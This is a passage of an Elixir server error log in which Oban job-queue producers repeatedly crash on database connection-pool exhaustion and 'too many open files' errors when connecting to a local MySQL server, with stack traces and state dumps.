State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:02:17.240549Z], limit: 10, uuid: "c4131c1e-b667-488e-b4bc-f1c98104e785", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:17.240554Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.249158>, refresh_timer: #Reference<0.2525715032.1121189889.103889>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:29.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:02:17.242210Z], limit: 5, uuid: "51933c04-33e5-4244-b5a2-dec69f575456", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:17.242215Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.249159>, refresh_timer: #Reference<0.2525715032.1121189889.103922>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:02:17.239077Z], limit: 3, uuid: "9c6995c6-6bbf-4706-9f10-79b54b28b7fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:17.239087Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.249156>, refresh_timer: #Reference<0.2525715032.1068236804.249142>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:02:17.241098Z], limit: 5, uuid: "a9def8db-5422-40cc-8f57-3d9d00b13b6a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:17.241103Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.249161>, refresh_timer: #Reference<0.2525715032.1099169794.259510>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:33.949000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:34.708000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:35.793000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:36.372000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:39.472000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:02:29.246478Z], limit: 10, uuid: "692aabe8-4734-4512-a4e8-8d79df43d2b0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:29.246486Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.249442>, refresh_timer: #Reference<0.2525715032.1068236804.249441>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:41.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:02:29.255342Z], limit: 5, uuid: "f7f873cf-2969-49d3-9968-16a493d3e07e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:29.255348Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104004>, refresh_timer: #Reference<0.2525715032.1099169794.259645>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:02:29.244569Z], limit: 20, uuid: "c2bd3f25-5812-4938-b323-6b5500c6dc52", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:29.244574Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.249439>, refresh_timer: #Reference<0.2525715032.1068236804.249438>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:02:29.254415Z], limit: 5, uuid: "923564d0-0d0a-49e4-b132-cec1eb24ad67", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:29.254424Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.249464>, refresh_timer: #Reference<0.2525715032.1068236804.249443>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:41.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:02:29.244136Z], limit: 50, uuid: "0e4da307-b4e2-441b-91f8-c501863b7077", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:29.244147Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.249437>, refresh_timer: #Reference<0.2525715032.1068236804.249436>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
